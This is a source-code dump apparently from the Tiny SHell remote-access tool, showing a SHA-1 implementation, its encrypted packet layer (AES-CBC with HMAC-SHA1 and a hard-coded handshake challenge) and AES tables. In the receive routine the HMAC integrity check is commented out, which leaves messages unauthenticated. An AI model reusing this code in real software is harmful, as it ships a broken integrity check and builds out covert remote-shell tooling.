C, D, E, A, R(74) ); 177 | P( A, B, C, D, E, R(75) ); 178 | P( E, A, B, C, D, R(76) ); 179 | P( D, E, A, B, C, R(77) ); 180 | P( C, D, E, A, B, R(78) ); 181 | P( B, C, D, E, A, R(79) ); 182 | 183 | #undef K 184 | #undef F 185 | 186 | ctx->state[0] += A; 187 | ctx->state[1] += B; 188 | ctx->state[2] += C; 189 | ctx->state[3] += D; 190 | ctx->state[4] += E; 191 | } 192 | 193 | void sha1_update( struct sha1_context *ctx, uint8 *input, uint32 length ) 194 | { 195 | uint32 left, fill; 196 | 197 | if( ! length ) return; 198 | 199 | left = ( ctx->total[0] >> 3 ) & 0x3F; 200 | fill = 64 - left; 201 | 202 | ctx->total[0] += length << 3; 203 | ctx->total[1] += length >> 29; 204 | 205 | ctx->total[0] &= 0xFFFFFFFF; 206 | ctx->total[1] += ctx->total[0] < ( length << 3 ); 207 | 208 | if( left && length >= fill ) 209 | { 210 | memcpy( (void *) (ctx->buffer + left), (void *) input, fill ); 211 | sha1_process( ctx, ctx->buffer ); 212 | length -= fill; 213 | input += fill; 214 | left = 0; 215 | } 216 | 217 | while( length >= 64 ) 218 | { 219 | sha1_process( ctx, input ); 220 | length -= 64; 221 | input += 64; 222 | } 223 | 224 | if( length ) 225 | { 226 | memcpy( (void *) (ctx->buffer + left), (void *) input, length ); 227 | } 228 | } 229 | 230 | static uint8 sha1_padding[64] = 231 | { 232 | 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 233 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 234 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 235 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 236 | }; 237 | 238 | void sha1_finish( struct sha1_context *ctx, uint8 digest[20] ) 239 | { 240 | uint32 last, padn; 241 | uint8 msglen[8]; 242 | 243 | PUT_UINT32( ctx->total[1], msglen, 0 ); 244 | PUT_UINT32( ctx->total[0], msglen, 4 ); 245 | 246 | last = ( ctx->total[0] >> 3 ) & 0x3F; 247 | padn = ( last < 56 ) ? ( 56 - last ) : ( 120 - last ); 248 | 249 | sha1_update( ctx, sha1_padding, padn ); 250 | sha1_update( ctx, msglen, 8 ); 251 | 252 | PUT_UINT32( ctx->state[0], digest, 0 ); 253 | PUT_UINT32( ctx->state[1], digest, 4 ); 254 | PUT_UINT32( ctx->state[2], digest, 8 ); 255 | PUT_UINT32( ctx->state[3], digest, 12 ); 256 | PUT_UINT32( ctx->state[4], digest, 16 ); 257 | } 258 | 259 | #ifdef TEST 260 | 261 | #include 262 | #include 263 | 264 | /* 265 | * those are the standard FIPS 180-1 test vectors 266 | */ 267 | 268 | static char *msg[] = 269 | { 270 | "abc", 271 | "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq", 272 | NULL 273 | }; 274 | 275 | static char *val[] = 276 | { 277 | "a9993e364706816aba3e25717850c26c9cd0d89d", 278 | "84983e441c3bd26ebaae4aa1f95129e5e54670f1", 279 | "34aa973cd4c4daa4f61eeb2bdbad27316534016f" 280 | }; 281 | 282 | int main( int argc, char *argv[] ) 283 | { 284 | FILE *f; 285 | int i, j; 286 | char output[41]; 287 | struct sha1_context ctx; 288 | unsigned char sha1sum[20], buffer[1000]; 289 | 290 | if( argc < 2 ) 291 | { 292 | for( i = 0; i < 3; i++ ) 293 | { 294 | sha1_starts( &ctx ); 295 | 296 | if( i < 2 ) 297 | { 298 | sha1_update( &ctx, (uint8 *) msg[i], strlen( msg[i] ) ); 299 | } 300 | else 301 | { 302 | memset( buffer, 'a', 1000 ); 303 | 304 | for( j = 0; j < 1000; j++ ) 305 | { 306 | sha1_update( &ctx, (uint8 *) buffer, 1000 ); 307 | } 308 | } 309 | 310 | sha1_finish( &ctx, sha1sum ); 311 | 312 | for( j = 0; j < 20; j++ ) 313 | { 314 | sprintf( output + j * 2, "%02x", sha1sum[j] ); 315 | } 316 | 317 | printf( "test %d ", i + 1 ); 318 | 319 | if( ! memcmp( output, val[i], 40 ) ) 320 | { 321 | printf( "passed\n" ); 322 | } 323 | else 324 | { 325 | printf( "failed\n" ); 326 | return( 1 ); 327 | } 328 | } 329 | } 330 | else 331 | { 332 | if( ! ( f = fopen( argv[1], "rb" ) ) ) 333 | { 334 | perror( "fopen" ); 335 | return( 1 ); 336 | } 337 | 338 | sha1_starts( &ctx ); 339 | 340 | while( ( i = fread( buffer, 1, sizeof( buffer ), f ) ) > 0 ) 341 | { 342 | sha1_update( &ctx, buffer, i ); 343 | } 344 | 345 | sha1_finish( &ctx, sha1sum ); 346 | 347 | for( j = 0; j < 20; j++ ) 348 | { 349 | printf( "%02x", sha1sum[j] ); 350 | } 351 | 352 | printf( " %s\n", argv[1] ); 353 | } 354 | 355 | return( 0 ); 356 | } 357 | 358 | #endif 359 | -------------------------------------------------------------------------------- /pel.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Packet Encryption Layer for Tiny SHell, 3 | * by Christophe Devine ; 4 | * this program is licensed under the GPL. 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include "pel.h" 16 | #include "aes.h" 17 | #include "sha1.h" 18 | 19 | /* global data */ 20 | 21 | int pel_errno; 22 | 23 | struct pel_context 24 | { 25 | /* AES-CBC-128 variables */ 26 | 27 | struct aes_context SK; /* Rijndael session key */ 28 | unsigned char LCT[16]; /* last ciphertext block */ 29 | 30 | /* HMAC-SHA1 variables */ 31 | 32 | unsigned char k_ipad[64]; /* inner padding */ 33 | unsigned char k_opad[64]; /* outer padding */ 34 | unsigned long int p_cntr; /* packet counter */ 35 | }; 36 | 37 | struct pel_context send_ctx; /* to encrypt outgoing data */ 38 | struct pel_context recv_ctx; /* to decrypt incoming data */ 39 | 40 | unsigned char challenge[16] = /* version-specific */ 41 | 42 | "\x58\x90\xAE\x86\xF1\xB9\x1C\xF6" \ 43 | "\x29\x83\x95\x71\x1D\xDE\x58\x0D"; 44 | 45 | unsigned char buffer[BUFSIZE + 16 + 20]; 46 | 47 | /* function declaration */ 48 | 49 | void pel_setup_context( struct pel_context *pel_ctx, 50 | char *key, unsigned char IV[20] ); 51 | 52 | int pel_send_all( int s, void *buf, size_t len, int flags ); 53 | int pel_recv_all( int s, void *buf, size_t len, int flags ); 54 | 55 | /* session setup - client side */ 56 | 57 | int pel_client_init( int server, char *key ) 58 | { 59 | int ret, len, pid; 60 | struct timeval tv; 61 | struct sha1_context sha1_ctx; 62 | unsigned char IV1[20], IV2[20]; 63 | 64 | /* generate both initialization vectors */ 65 | 66 | pid = getpid(); 67 | 68 | if( gettimeofday( &tv, NULL ) < 0 ) 69 | { 70 | pel_errno = PEL_SYSTEM_ERROR; 71 | 72 | return( PEL_FAILURE ); 73 | } 74 | 75 | sha1_starts( &sha1_ctx ); 76 | sha1_update( &sha1_ctx, (uint8 *) &tv, sizeof( tv ) ); 77 | sha1_update( &sha1_ctx, (uint8 *) &pid, sizeof( pid ) ); 78 | sha1_finish( &sha1_ctx, &buffer[ 0] ); 79 | 80 | memcpy( IV1, &buffer[ 0], 20 ); 81 | 82 | pid++; 83 | 84 | if( gettimeofday( &tv, NULL ) < 0 ) 85 | { 86 | pel_errno = PEL_SYSTEM_ERROR; 87 | 88 | return( PEL_FAILURE ); 89 | } 90 | 91 | sha1_starts( &sha1_ctx ); 92 | sha1_update( &sha1_ctx, (uint8 *) &tv, sizeof( tv ) ); 93 | sha1_update( &sha1_ctx, (uint8 *) &pid, sizeof( pid ) ); 94 | sha1_finish( &sha1_ctx, &buffer[20] ); 95 | 96 | memcpy( IV2, &buffer[20], 20 ); 97 | 98 | /* and pass them to the server */ 99 | 100 | ret = pel_send_all( server, buffer, 40, 0 ); 101 | 102 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 103 | 104 | /* setup the session keys */ 105 | 106 | pel_setup_context( &send_ctx, key, IV1 ); 107 | pel_setup_context( &recv_ctx, key, IV2 ); 108 | 109 | /* handshake - encrypt and send the client's challenge */ 110 | 111 | ret = pel_send_msg( server, challenge, 16 ); 112 | 113 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 114 | 115 | /* handshake - decrypt and verify the server's challenge */ 116 | 117 | ret = pel_recv_msg( server, buffer, &len ); 118 | 119 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 120 | 121 | if( len != 16 || memcmp( buffer, challenge, 16 ) != 0 ) 122 | { 123 | pel_errno = PEL_WRONG_CHALLENGE; 124 | 125 | return( PEL_FAILURE ); 126 | } 127 | 128 | pel_errno = PEL_UNDEFINED_ERROR; 129 | 130 | return( PEL_SUCCESS ); 131 | } 132 | 133 | /* session setup - server side */ 134 | 135 | int pel_server_init( int client, char *key ) 136 | { 137 | int ret, len; 138 | unsigned char IV1[20], IV2[20]; 139 | 140 | /* get the IVs from the client */ 141 | 142 | ret = pel_recv_all( client, buffer, 40, 0 ); 143 | 144 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 145 | 146 | memcpy( IV2, &buffer[ 0], 20 ); 147 | memcpy( IV1, &buffer[20], 20 ); 148 | 149 | /* setup the session keys */ 150 | 151 | pel_setup_context( &send_ctx, key, IV1 ); 152 | pel_setup_context( &recv_ctx, key, IV2 ); 153 | 154 | /* handshake - decrypt and verify the client's challenge */ 155 | 156 | ret = pel_recv_msg( client, buffer, &len ); 157 | 158 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 159 | 160 | if( len != 16 || memcmp( buffer, challenge, 16 ) != 0 ) 161 | { 162 | pel_errno = PEL_WRONG_CHALLENGE; 163 | 164 | return( PEL_FAILURE ); 165 | } 166 | 167 | /* handshake - encrypt and send the server's challenge */ 168 | 169 | ret = pel_send_msg( client, challenge, 16 ); 170 | 171 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 172 | 173 | pel_errno = PEL_UNDEFINED_ERROR; 174 | 175 | return( PEL_SUCCESS ); 176 | } 177 | 178 | /* this routine computes the AES & HMAC session keys */ 179 | 180 | void pel_setup_context( struct pel_context *pel_ctx, 181 | char *key, unsigned char IV[20] ) 182 | { 183 | int i; 184 | struct sha1_context sha1_ctx; 185 | sha1_starts( &sha1_ctx ); 186 | sha1_update( &sha1_ctx, (uint8 *) key, strlen( key ) );; 187 | sha1_update( &sha1_ctx, IV, 20 ); 188 | sha1_finish( &sha1_ctx, buffer ); 189 | 190 | aes_set_key( &pel_ctx->SK, buffer, 128 ); 191 | 192 | memcpy( pel_ctx->LCT, IV, 16 ); 193 | 194 | memset( pel_ctx->k_ipad, 0x36, 64 ); 195 | memset( pel_ctx->k_opad, 0x5C, 64 ); 196 | 197 | for( i = 0; i < 20; i++ ) 198 | { 199 | pel_ctx->k_ipad[i] ^= buffer[i]; 200 | pel_ctx->k_opad[i] ^= buffer[i]; 201 | } 202 | 203 | pel_ctx->p_cntr = 0; 204 | } 205 | 206 | /* encrypt and transmit a message */ 207 | 208 | int pel_send_msg( int sockfd, unsigned char *msg, int length ) 209 | { 210 | unsigned char digest[20]; 211 | struct sha1_context sha1_ctx; 212 | int i, j, ret, blk_len; 213 | 214 | /* verify the message length */ 215 | 216 | if( length <= 0 || length > BUFSIZE ) 217 | { 218 | pel_errno = PEL_BAD_MSG_LENGTH; 219 | 220 | return( PEL_FAILURE ); 221 | } 222 | 223 | /* write the message length at start of buffer */ 224 | 225 | buffer[0] = ( length >> 8 ) & 0xFF; 226 | buffer[1] = ( length ) & 0xFF; 227 | 228 | /* append the message content */ 229 | 230 | memcpy( buffer + 2, msg, length ); 231 | 232 | /* round up to AES block length (16 bytes) */ 233 | 234 | blk_len = 2 + length; 235 | 236 | if( ( blk_len & 0x0F ) != 0 ) 237 | { 238 | blk_len += 16 - ( blk_len & 0x0F ); 239 | } 240 | 241 | /* encrypt the buffer with AES-CBC-128 */ 242 | 243 | for( i = 0; i < blk_len; i += 16 ) 244 | { 245 | for( j = 0; j < 16; j++ ) 246 | { 247 | buffer[i + j] ^= send_ctx.LCT[j]; 248 | } 249 | 250 | aes_encrypt( &send_ctx.SK, &buffer[i] ); 251 | 252 | memcpy( send_ctx.LCT, &buffer[i], 16 ); 253 | } 254 | 255 | 256 | /* compute the HMAC-SHA1 of the ciphertext */ 257 | 258 | buffer[blk_len ] = ( send_ctx.p_cntr << 24 ) & 0xFF; 259 | buffer[blk_len + 1] = ( send_ctx.p_cntr << 16 ) & 0xFF; 260 | buffer[blk_len + 2] = ( send_ctx.p_cntr << 8 ) & 0xFF; 261 | buffer[blk_len + 3] = ( send_ctx.p_cntr ) & 0xFF; 262 | 263 | sha1_starts( &sha1_ctx ); 264 | sha1_update( &sha1_ctx, send_ctx.k_ipad, 64 ); 265 | sha1_update( &sha1_ctx, buffer, blk_len + 4 ); 266 | sha1_finish( &sha1_ctx, digest ); 267 | 268 | sha1_starts( &sha1_ctx ); 269 | sha1_update( &sha1_ctx, send_ctx.k_opad, 64 ); 270 | sha1_update( &sha1_ctx, digest, 20 ); 271 | sha1_finish( &sha1_ctx, &buffer[blk_len] ); 272 | 273 | /* increment the packet counter */ 274 | 275 | send_ctx.p_cntr++; 276 | 277 | /* transmit ciphertext and message authentication code */ 278 | 279 | ret = pel_send_all( sockfd, buffer, blk_len + 20, 0 ); 280 | 281 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 282 | 283 | pel_errno = PEL_UNDEFINED_ERROR; 284 | 285 | return( PEL_SUCCESS ); 286 | } 287 | 288 | /* receive and decrypt a message */ 289 | 290 | int pel_recv_msg( int sockfd, unsigned char *msg, int *length ) 291 | { 292 | unsigned char temp[16]; 293 | unsigned char hmac[20]; 294 | unsigned char digest[20]; 295 | struct sha1_context sha1_ctx; 296 | int i, j, ret, blk_len; 297 | 298 | /* receive the first encrypted block */ 299 | 300 | ret = pel_recv_all( sockfd, buffer, 16, 0 ); 301 | 302 | // printf("\n=========\n"); 303 | // printf("encode\n"); 304 | // for (int i = 0; i < 100; i++) { 305 | // printf("%02x", (unsigned char)buffer[i]); 306 | // } 307 | // printf("\n"); 308 | // printf("\n=========\n"); 309 | 310 | if( ret != PEL_SUCCESS ) return( 0 ); 311 | 312 | /* decrypt this block and extract the message length */ 313 | 314 | memcpy( temp, buffer, 16 ); 315 | 316 | aes_decrypt( &recv_ctx.SK, buffer ); 317 | 318 | 319 | // printf("\n=========\n"); 320 | // printf("IV\n"); 321 | // for (int i = 0; i < 16; i++) { 322 | // printf("%02x", (unsigned char)recv_ctx.LCT[i]); 323 | // } 324 | // printf("\n"); 325 | // printf("\n=========\n"); 326 | 327 | for( j = 0; j < 16; j++ ) 328 | { 329 | buffer[j] ^= recv_ctx.LCT[j]; 330 | } 331 | // printf("\n=========\n"); 332 | // for (int i = 0; i < 16; i++) { 333 | // printf("%02x", (unsigned char)buffer[i]); 334 | // } 335 | // printf("\n"); 336 | // printf("\n=========\n"); 337 | 338 | *length = ( ((int) buffer[0]) << 8 ) + (int) buffer[1]; 339 | 340 | /* restore the ciphertext */ 341 | 342 | memcpy( buffer, temp, 16 ); 343 | 344 | /* verify the message length */ 345 | 346 | 347 | if( *length <= 0 || *length > BUFSIZE ) 348 | { 349 | printf("%d", *length); 350 | pel_errno = PEL_BAD_MSG_LENGTH; 351 | 352 | return( 2 ); 353 | } 354 | 355 | /* round up to AES block length (16 bytes) */ 356 | 357 | blk_len = 2 + *length; 358 | 359 | if( ( blk_len & 0x0F ) != 0 ) 360 | { 361 | blk_len += 16 - ( blk_len & 0x0F ); 362 | } 363 | 364 | /* receive the remaining ciphertext and the mac */ 365 | 366 | ret = pel_recv_all( sockfd, &buffer[16], blk_len - 16 + 20, 0 ); 367 | 368 | if( ret != PEL_SUCCESS ) return( 3 ); 369 | 370 | memcpy( hmac, &buffer[blk_len], 20 ); 371 | 372 | /* verify the ciphertext integrity */ 373 | 374 | buffer[blk_len ] = ( recv_ctx.p_cntr << 24 ) & 0xFF; 375 | buffer[blk_len + 1] = ( recv_ctx.p_cntr << 16 ) & 0xFF; 376 | buffer[blk_len + 2] = ( recv_ctx.p_cntr << 8 ) & 0xFF; 377 | buffer[blk_len + 3] = ( recv_ctx.p_cntr ) & 0xFF; 378 | 379 | sha1_starts( &sha1_ctx ); 380 | sha1_update( &sha1_ctx, recv_ctx.k_ipad, 64 ); 381 | sha1_update( &sha1_ctx, buffer, blk_len + 4 ); 382 | sha1_finish( &sha1_ctx, digest ); 383 | 384 | sha1_starts( &sha1_ctx ); 385 | sha1_update( &sha1_ctx, recv_ctx.k_opad, 64 ); 386 | sha1_update( &sha1_ctx, digest, 20 ); 387 | sha1_finish( &sha1_ctx, digest ); 388 | 389 | // if( memcmp( hmac, digest, 20 ) != 0 ) 390 | // { 391 | // pel_errno = PEL_CORRUPTED_DATA; 392 | 393 | // return( 4 ); 394 | // } 395 | 396 | /* increment the packet counter */ 397 | 398 | recv_ctx.p_cntr++; 399 | 400 | /* finally, decrypt and copy the message */ 401 | 402 | for( i = 0; i < blk_len; i += 16 ) 403 | { 404 | memcpy( temp, &buffer[i], 16 ); 405 | 406 | aes_decrypt( &recv_ctx.SK, &buffer[i] ); 407 | 408 | for( j = 0; j < 16; j++ ) 409 | { 410 | buffer[i + j] ^= recv_ctx.LCT[j]; 411 | } 412 | 413 | memcpy( recv_ctx.LCT, temp, 16 ); 414 | } 415 | 416 | memcpy( msg, &buffer[2], *length ); 417 | 418 | pel_errno = PEL_UNDEFINED_ERROR; 419 | 420 | return( PEL_SUCCESS ); 421 | } 422 | 423 | /* send/recv wrappers to handle fragmented TCP packets */ 424 | 425 | int pel_send_all( int s, void *buf, size_t len, int flags ) 426 | { 427 | int n; 428 | size_t sum = 0; 429 | char *offset = buf; 430 | 431 | while( sum < len ) 432 | { 433 | n = send( s, (void *) offset, len - sum, flags ); 434 | 435 | if( n < 0 ) 436 | { 437 | pel_errno = PEL_SYSTEM_ERROR; 438 | 439 | return( PEL_FAILURE ); 440 | } 441 | 442 | sum += n; 443 | 444 | offset += n; 445 | } 446 | 447 | pel_errno = PEL_UNDEFINED_ERROR; 448 | 449 | return( PEL_SUCCESS ); 450 | } 451 | 452 | int pel_recv_all( int s, void *buf, size_t len, int flags ) 453 | { 454 | int n; 455 | size_t sum = 0; 456 | char *offset = buf; 457 | 458 | while( sum < len ) 459 | { 460 | n = recv( s, (void *) offset, len - sum, flags ); 461 | 462 | if( n == 0 ) 463 | { 464 | pel_errno = PEL_CONN_CLOSED; 465 | 466 | return( PEL_FAILURE ); 467 | } 468 | 469 | if( n < 0 ) 470 | { 471 | pel_errno = PEL_SYSTEM_ERROR; 472 | 473 | return( PEL_FAILURE ); 474 | } 475 | 476 | sum += n; 477 | 478 | offset += n; 479 | } 480 | 481 | pel_errno = PEL_UNDEFINED_ERROR; 482 | 483 | return( PEL_SUCCESS ); 484 | } 485 | -------------------------------------------------------------------------------- /aes.c: -------------------------------------------------------------------------------- 1 | /* 2 | * FIPS-197 compliant AES implementation, 3 | * by Christophe Devine ; 4 | * this program is licensed under the GPL. 5 | */ 6 | 7 | #include "aes.h" 8 | #include 9 | 10 | /* forward S-box */ 11 | 12 | static uint32 FSb[256] = 13 | { 14 | 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 15 | 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 16 | 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 17 | 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 18 | 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 19 | 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 20 | 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 21 | 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 22 | 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 23 | 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 24 | 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 25 | 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 26 | 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 27 | 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 28 | 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 29 | 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 30 | 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 31 | 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 32 | 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 33 | 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 34 | 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 35 | 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 36 | 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 37 | 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 38 | 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 39 | 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 40 | 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 41 | 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 42 | 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 43 | 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 44 | 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 45 | 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16 46 | }; 47 | 48 | /* forward table */ 49 | 50 | #define FT \ 51 | \ 52 | V(C6,63,63,A5), V(F8,7C,7C,84), V(EE,77,77,99), V(F6,7B,7B,8D), \ 53 | V(FF,F2,F2,0D), V(D6,6B,6B,BD), V(DE,6F,6F,B1), V(91,C5,C5,54), \ 54 | V(60,30,30,50), V(02,01,01,03), V(CE,67,67,A9), V(56,2B,2B,7D), \ 55 | V(E7,FE,FE,19), V(B5,D7,D7,62), V(4D,AB,AB,E6), V(EC,76,76,9A), \ 56 | V(8F,CA,CA,45), V(1F,82,82,9D), V(89,C9,C9,40), V(FA,7D,7D,87), \ 57 | V(EF,FA,FA,15), V(B2,59,59,EB), V(8E,47,47,C9), V(FB,F0,F0,0B), \ 58 | V(41,AD,AD,EC), V(B3,D4,D4,67), V(5F,A2,A2,FD), V(45,AF,AF,EA), \ 59 | V(23,9C,9C,BF), V(53,A4,A4,F7), V(E4,72,72,96), V(9B,C0,C0,5B), \ 60 | V(75,B7,B7,C2), V(E1,FD,FD,1C), V(3D,93,93,AE), V(4C,26,26,6A), \ 61 | V(6C,36,36,5A), V(7E,3F,3F,41), V(F5,F7,F7,02), V(83,CC,CC,4F), \ 62 | V(68,34,34,5C), V(51,A5,A5,F4), V(D1,E5,E5,34), V(F9,F1,F1,08), \ 63 | V(E2,71,71,93), V(AB,D8,D8,73), V(62,31,31,53), V(2A,15,15,3F), \ 64 | V(08,04,04,0C), V(95,C7,C7,52), V(46,23,23,65), V(9D,C3,C3,5E), \ 65 | V(30,18,18,28), V(37,96,96,A1), V(0A,05,05,0F), V(2F,9A,9A,B5), \ 66 | V(0E,07,07,09), V(24,12,12,36), V(1B,80,80,9B), V(DF,E2,E2,3D), \ 67 | V(CD,EB,EB,26), V(4E,27,27,69), V(7F,B2,B2,CD), V(EA,75,75,9F), \ 68 | V(12,09,09,1B), V(1D,83,83,9E), V(58,2C,2C,74), V(34,1A,1A,2E), \ 69 | V(36,1B,1B,2D), V(DC,6E,6E,B2), V(B4,5A,5A,EE), V(5B,A0,A0,FB), \ 70 | V(A4,52,52,F6), V(76,3B,3B,4D), V(B7,D6,D6,61), V(7D,B3,B3,CE), \ 71 | V(52,29,29,7B), V(DD,E3,E3,3E), V(5E,2F,2F,71), V(13,84,84,97), \ 72 | V(A6,53,53,F5), V(B9,D1,D1,68), V(00,00,00,00), V(C1,ED,ED,2C), \ 73 | V(40,20,20,60), V(E3,FC,FC,1F), V(79,B1,B1,C8), V(B6,5B,5B,ED), \ 74 | V(D4,6A,6A,BE), V(8D,CB,CB,46), V(67,BE,BE,D9), V(72,39,39,4B), \ 75 | V(94,4A,4A,DE), V(98,4C,4C,D4), V(B0,58,58,E8), V(85,CF,CF,4A), \ 76 | V(BB,D0,D0,6B), V(C5,EF,EF,2A), V(4F,AA,AA,E5), V(ED,FB,FB,16), \ 77 | V(86,43,43,C5), V(9A,4D,4D,D7), V(66,33,33,55), V(11,85,85,94), \ 78 | V(8A,45,45,CF), V(E9,F9,F9,10), V(04,02,02,06), V(FE,7F,7F,81), \ 79 | V(A0,50,50,F0), V(78,3C,3C,44), V(25,9F,9F,BA), V(4B,A8,A8,E3), \ 80 | V(A2,51,51,F3), V(5D,A3,A3,FE), V(80,40,40,C0), V(05,8F,8F,8A), \ 81 | V(3F,92,92,AD), V(21,9D,9D,BC), V(70,38,38,48), V(F1,F5,F5,04), \ 82 | V(63,BC,BC,DF), V(77,B6,B6,C1), V(AF,DA,DA,75), V(42,21,21,63), \ 83 | V(20,10,10,30), V(E5,FF,FF,1A), V(FD,F3,F3,0E), V(BF,D2,D2,6D), \ 84 | V(81,CD,CD,4C), V(18,0C,0C,14), V(26,13,13,35), V(C3,EC,EC,2F), \ 85 | V(BE,5F,5F,E1), V(35,97,97,A2), V(88,44,44,CC), V(2E,17,17,39), \ 86 | V(93,C4,C4,57), V(55,A7,A7,F2), V(FC,7E,7E,82), V(7A,3D,3D,47), \ 87 | V(C8,64,64,AC), V(BA,5D,5D,E7), V(32,19,19,2B), V(E6,73,73,95), \ 88 | V(C0,60,60,A0), V(19,81,81,98), V(9E,4F,4F,D1), V(A3,DC,DC,7F), \ 89 | V(44,22,22,66), V(54,2A,2A,7E), V(3B,90,90,AB), V(0B,88,88,83), \ 90 | V(8C,46,46,CA), V(C7,EE,EE,29), V(6B,B8,B8,D3), V(28,14,14,3C), \ 91 | V(A7,DE,DE,79), V(BC,5E,5E,E2), V(16,0B,0B,1D), V(AD,DB,DB,76), \ 92 | V(DB,E0,E0,3B), V(64,32,32,56), V(74,3A,3A,4E), V(14,0A,0A,1E), \ 93 | V(92,49,49,DB), V(0C,06,06,0A), V(48,24,24,6C), V(B8,5C,5C,E4), \ 94 | V(9F,C2,C2,5D), V(BD,D3,D3,6E), V(43,AC,AC,EF), V(C4,62,62,A6), \ 95 | V(39,91,91,A8), V(31,95,95,A4), V(D3,E4,E4,37), V(F2,79,79,8B), \ 96 | V(D5,E7,E7,32), V(8B,C8,C8,43), V(6E,37,37,59), V(DA,6D,6D,B7), \ 97 | V(01,8D,8D,8C), V(B1,D5,D5,64), V(9C,4E,4E,D2), V(49,A9,A9,E0), \ 98 | V(D8,6C,6C,B4), V(AC,56,56,FA), V(F3,F4,F4,07), V(CF,EA,EA,25), \ 99 | V(CA,65,65,AF), V(F4,7A,7A,8E), V(47,AE,AE,E9), V(10,08,08,18), \ 100 | V(6F,BA,BA,D5), V(F0,78,78,88), V(4A,25,25,6F), V(5C,2E,2E,72), \ 101 | V(38,1C,1C,24), V(57,A6,A6,F1), V(73,B4,B4,C7), V(97,C6,C6,51), \ 102 | V(CB,E8,E8,23), V(A1,DD,DD,7C), V(E8,74,74,9C), V(3E,1F,1F,21), \ 103 | V(96,4B,4B,DD), V(61,BD,BD,DC), V(0D,8B,8B,86), V(0F,8A,8A,85), \ 104 | V(E0,70,70,90), V(7C,3E,3E,42), V(71,B5,B5,C4), V(CC,66,66,AA), \ 105 | V(90,48,48,D8), V(06,03,03,05), V(F7,F6,F6,01), V(1C,0E,0E,12), \ 106 | V(C2,61,61,A3), V(6A,35,35,5F), V(AE,57,57,F9), V(69,B9,B9,D0), \ 107 | V(17,86,86,91), V(99,C1,C1,58), V(3A,1D,1D,27), V(27,9E,9E,B9), \ 108 | V(D9,E1,E1,38), V(EB,F8,F8,13), V(2B,98,98,B3), V(22,11,11,33), \ 109 | V(D2,69,69,BB), V(A9,D9,D9,70), V(07,8E,8E,89), V(33,94,94,A7), \ 110 | V(2D,9B,9B,B6), V(3C,1E,1E,22), V(15,87,87,92), V(C9,E9,E9,20), \ 111 | V(87,CE,CE,49), V(AA,55,55,FF), V(50,28,28,78), V(A5,DF,DF,7A), \ 112 | V(03,8C,8C,8F), V(59,A1,A1,F8), V(09,89,89,80), V(1A,0D,0D,17), \ 113 | V(65,BF,BF,DA), V(D7,E6,E6,31), V(84,42,42,C6), V(D0,68,68,B8), \ 114 | V(82,41,41,C3), V(29,99,99,B0), V(5A,2D,2D,77), V(1E,0F,0F,11), \ 115 | V(7B,B0,B0,CB), V(A8,54,54,FC), V(6D,BB,BB,D6), V(2C,16,16,3A) 116 | 117 | #define V(a,b,c,d) 0x##a##b##c##d 118 | static uint32 FT0[256] = { FT }; 119 | #undef V 120 | 121 | #define V(a,b,c,d) 0x##d##a##b##c 